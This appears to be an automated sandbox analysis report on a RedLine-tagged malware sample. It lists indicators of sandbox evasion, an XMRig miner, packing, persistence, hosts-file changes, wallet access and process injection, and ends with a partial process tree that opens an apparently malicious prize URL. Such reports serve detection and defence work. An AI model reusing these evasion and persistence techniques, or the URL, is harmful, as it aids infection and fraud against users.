redline | 0963fff5b1b19e7da2d72f54f54a5369ac466f0c8b76329ba70fd1c464858f9f

Virtualization/Sandbox Evasion

Processes:

setup.exesetup12.exeMoUSO.exeupdater.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	setup12.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	MoUSO.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3512-385-0x00007FF68B090000-0x00007FF68B884000-memory.dmp	xmrig
behavioral2/memory/3512-395-0x00007FF68B090000-0x00007FF68B884000-memory.dmp	xmrig

Blocklisted process makes network request 1 IoCs

Processes:

WScript.exe

flow pid process

20 3692 WScript.exe
Downloads MZ/PE file
Drops file in Drivers directory 2 IoCs

Processes:

setup.exeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts setup.exe
File created C:\Windows\system32\drivers\etc\hosts updater.exe

flow	pid	process
20	3692	WScript.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	setup.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Executes dropped EXE 9 IoCs

Processes:

setu2p.exesetup.exesetup12.exesetup1232.exeMoUSO.exeupdater.exewatchdog.exeChomiumPath.exesvcupdater.exe

pid	process
1376	setu2p.exe
2816	setup.exe
3136	setup12.exe
4856	setup1232.exe
2568	MoUSO.exe
872	updater.exe
3012	watchdog.exe
4092	ChomiumPath.exe
5304	svcupdater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/3512-385-0x00007FF68B090000-0x00007FF68B884000-memory.dmp	upx
behavioral2/memory/3512-395-0x00007FF68B090000-0x00007FF68B884000-memory.dmp	upx

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

setup.exesetup12.exeMoUSO.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	setup12.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MoUSO.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	setup.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

setup12.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation setup12.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	setup12.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

setup12.exeMoUSO.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Wine	setup12.exe
Key opened	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Wine	MoUSO.exe

Themida packer 21 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/2816-256-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-257-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-258-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-259-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-261-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-262-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-263-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
behavioral2/memory/2816-278-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
C:\Users\Admin\AppData\Local\Temp\setup.exe	themida
behavioral2/memory/2816-321-0x00007FF7EC000000-0x00007FF7ECCFA000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/872-327-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
behavioral2/memory/872-329-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
behavioral2/memory/872-331-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
behavioral2/memory/872-332-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
behavioral2/memory/872-333-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
behavioral2/memory/872-334-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
behavioral2/memory/872-346-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida
C:\Program Files\Google\Chrome\updater.exe	themida
behavioral2/memory/872-383-0x00007FF782750000-0x00007FF78344A000-memory.dmp	themida

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Adds Run key to start application 2 TTPs 1 IoCs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Processes:

msedge.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

setup.exeupdater.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	updater.exe

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

setup.exesetup12.exeMoUSO.exeupdater.exe

pid process

2816 setup.exe
3136 setup12.exe
2568 MoUSO.exe
872 updater.exe

pid	process
2816	setup.exe
3136	setup12.exe
2568	MoUSO.exe
872	updater.exe

Suspicious use of SetThreadContext 6 IoCs

Processes:

file.exesetu2p.exesetup1232.exewatchdog.exeupdater.exe

description	pid	process	target process
PID 3436 set thread context of 1660	3436	file.exe	RegSvcs.exe
PID 1376 set thread context of 4980	1376	setu2p.exe	RegSvcs.exe
PID 4856 set thread context of 2580	4856	setup1232.exe	MSBuild.exe
PID 3012 set thread context of 105948	3012	watchdog.exe	vbc.exe
PID 872 set thread context of 4740	872	updater.exe	conhost.exe
PID 872 set thread context of 3512	872	updater.exe	conhost.exe

Drops file in Program Files directory 6 IoCs

Processes:

updater.execmd.execmd.exesetup.exesetup.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\2a3de0ce-075e-4722-8549-21a092f49b42.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221023164247.pma	setup.exe
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

106492 sc.exe
996 sc.exe
4692 sc.exe
4332 sc.exe
4772 sc.exe
4320 sc.exe
3752 sc.exe
1736 sc.exe
5100 sc.exe
3440 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4196 schtasks.exe
5148 schtasks.exe

pid	process
106492	sc.exe
996	sc.exe
4692	sc.exe
4332	sc.exe
4772	sc.exe
4320	sc.exe
3752	sc.exe
1736	sc.exe
5100	sc.exe
3440	sc.exe

pid	process
4196	schtasks.exe
5148	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies registry class 2 IoCs

Processes:

RegSvcs.exemsedge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	RegSvcs.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

description	flow	ioc
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

RegSvcs.exemsedge.exemsedge.exeidentity_helper.exesetup12.exepowershell.exeMoUSO.exepowershell.exe

pid	process
1660	RegSvcs.exe
1660	RegSvcs.exe
4748	msedge.exe
4748	msedge.exe
4192	msedge.exe
4192	msedge.exe
1820	identity_helper.exe
1820	identity_helper.exe
3136	setup12.exe
3136	setup12.exe
4740	powershell.exe
4740	powershell.exe
4740	powershell.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
720	powershell.exe
720	powershell.exe
2568	MoUSO.exe
2568	MoUSO.exe
720	powershell.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe
2568	MoUSO.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

676
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

Processes:

msedge.exe

pid process

4192 msedge.exe
4192 msedge.exe
4192 msedge.exe
4192 msedge.exe
4192 msedge.exe
4192 msedge.exe
4192 msedge.exe

pid	process
676

pid	process
4192	msedge.exe
4192	msedge.exe
4192	msedge.exe
4192	msedge.exe
4192	msedge.exe
4192	msedge.exe
4192	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

RegSvcs.exepowershell.exepowercfg.exepowercfg.exepowershell.exereg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	1660	RegSvcs.exe
Token: SeDebugPrivilege	4740	powershell.exe
Token: SeShutdownPrivilege	4016	powercfg.exe
Token: SeCreatePagefilePrivilege	4016	powercfg.exe
Token: SeShutdownPrivilege	3052	powercfg.exe
Token: SeCreatePagefilePrivilege	3052	powercfg.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeShutdownPrivilege	3816	reg.exe
Token: SeCreatePagefilePrivilege	3816	reg.exe
Token: SeShutdownPrivilege	4952	powercfg.exe
Token: SeCreatePagefilePrivilege	4952	powercfg.exe
Token: SeIncreaseQuotaPrivilege	720	powershell.exe
Token: SeSecurityPrivilege	720	powershell.exe
Token: SeTakeOwnershipPrivilege	720	powershell.exe
Token: SeLoadDriverPrivilege	720	powershell.exe
Token: SeSystemProfilePrivilege	720	powershell.exe
Token: SeSystemtimePrivilege	720	powershell.exe
Token: SeProfSingleProcessPrivilege	720	powershell.exe
Token: SeIncBasePriorityPrivilege	720	powershell.exe
Token: SeCreatePagefilePrivilege	720	powershell.exe
Token: SeBackupPrivilege	720	powershell.exe
Token: SeRestorePrivilege	720	powershell.exe
Token: SeShutdownPrivilege	720	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeSystemEnvironmentPrivilege	720	powershell.exe
Token: SeRemoteShutdownPrivilege	720	powershell.exe
Token: SeUndockPrivilege	720	powershell.exe
Token: SeManageVolumePrivilege	720	powershell.exe
Token: 33	720	powershell.exe
Token: 34	720	powershell.exe
Token: 35	720	powershell.exe
Token: 36	720	powershell.exe
Token: SeIncreaseQuotaPrivilege	720	powershell.exe
Token: SeSecurityPrivilege	720	powershell.exe
Token: SeTakeOwnershipPrivilege	720	powershell.exe
Token: SeLoadDriverPrivilege	720	powershell.exe
Token: SeSystemProfilePrivilege	720	powershell.exe
Token: SeSystemtimePrivilege	720	powershell.exe
Token: SeProfSingleProcessPrivilege	720	powershell.exe
Token: SeIncBasePriorityPrivilege	720	powershell.exe
Token: SeCreatePagefilePrivilege	720	powershell.exe
Token: SeBackupPrivilege	720	powershell.exe
Token: SeRestorePrivilege	720	powershell.exe
Token: SeShutdownPrivilege	720	powershell.exe
Token: SeDebugPrivilege	720	powershell.exe
Token: SeSystemEnvironmentPrivilege	720	powershell.exe
Token: SeRemoteShutdownPrivilege	720	powershell.exe
Token: SeUndockPrivilege	720	powershell.exe
Token: SeManageVolumePrivilege	720	powershell.exe
Token: 33	720	powershell.exe
Token: 34	720	powershell.exe
Token: 35	720	powershell.exe
Token: 36	720	powershell.exe
Token: SeIncreaseQuotaPrivilege	720	powershell.exe
Token: SeSecurityPrivilege	720	powershell.exe
Token: SeTakeOwnershipPrivilege	720	powershell.exe
Token: SeLoadDriverPrivilege	720	powershell.exe
Token: SeSystemProfilePrivilege	720	powershell.exe
Token: SeSystemtimePrivilege	720	powershell.exe
Token: SeProfSingleProcessPrivilege	720	powershell.exe
Token: SeIncBasePriorityPrivilege	720	powershell.exe
Token: SeCreatePagefilePrivilege	720	powershell.exe
Token: SeBackupPrivilege	720	powershell.exe
Token: SeRestorePrivilege	720	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

Processes:

msedge.exe

pid process

4192 msedge.exe
4192 msedge.exe
4192 msedge.exe

pid	process
4192	msedge.exe
4192	msedge.exe
4192	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeRegSvcs.exemsedge.exesetu2p.exe

description	pid	process	target process
PID 3436 wrote to memory of 1660	3436	file.exe	RegSvcs.exe
PID 3436 wrote to memory of 1660	3436	file.exe	RegSvcs.exe
PID 3436 wrote to memory of 1660	3436	file.exe	RegSvcs.exe
PID 3436 wrote to memory of 1660	3436	file.exe	RegSvcs.exe
PID 3436 wrote to memory of 1660	3436	file.exe	RegSvcs.exe
PID 1660 wrote to memory of 4192	1660	RegSvcs.exe	msedge.exe
PID 1660 wrote to memory of 4192	1660	RegSvcs.exe	msedge.exe
PID 4192 wrote to memory of 4204	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 4204	4192	msedge.exe	msedge.exe
PID 1660 wrote to memory of 3692	1660	RegSvcs.exe	WScript.exe
PID 1660 wrote to memory of 3692	1660	RegSvcs.exe	WScript.exe
PID 1660 wrote to memory of 3692	1660	RegSvcs.exe	WScript.exe
PID 1660 wrote to memory of 1376	1660	RegSvcs.exe	setu2p.exe
PID 1660 wrote to memory of 1376	1660	RegSvcs.exe	setu2p.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 1376 wrote to memory of 4980	1376	setu2p.exe	RegSvcs.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe
PID 4192 wrote to memory of 5092	4192	msedge.exe	msedge.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1660

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://bestrealprizes.life/?u=lq1pd08&o=hdck0gl
3⤵
- Adds Run key to start application
